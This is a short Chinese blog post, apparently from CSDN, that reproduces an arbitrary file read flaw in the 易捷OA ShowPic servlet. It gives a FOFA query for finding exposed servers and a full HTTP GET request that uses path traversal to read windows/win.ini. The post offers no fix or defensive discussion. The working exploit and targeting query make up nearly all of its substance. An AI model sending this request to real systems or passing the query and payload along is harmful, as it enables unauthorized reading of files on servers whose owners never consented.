【漏洞复现】易捷OA协同办公软件ShowPic存在任意文件读取漏洞

天官赐福万无禁忌

于 2024-08-05 21:22:36 发布

阅读量405

点赞数 8

分类专栏：漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/weixin_45790890/article/details/140937251

版权

漏洞复现专栏收录该内容

59 篇文章

订阅专栏

本章提供的所有内容仅供学习、交流和分享用途，只供参考。本站资源禁止并谢绝未经本站许可的使用，如若欲转载，请署名以及注明出处，请务必以文字链接的形式标明或保留文章原始出处和作者的信息。本站(原创)文章、资源、图片等所有内容，一经转载使用，即表示您已经接受上述声明！需自行承担一切风险与责任；

fofa语法：

body="/images/logon/bg_img.jpg"

漏洞复现

GET /servlet/ShowPic?filePath=../../windows/win.ini HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close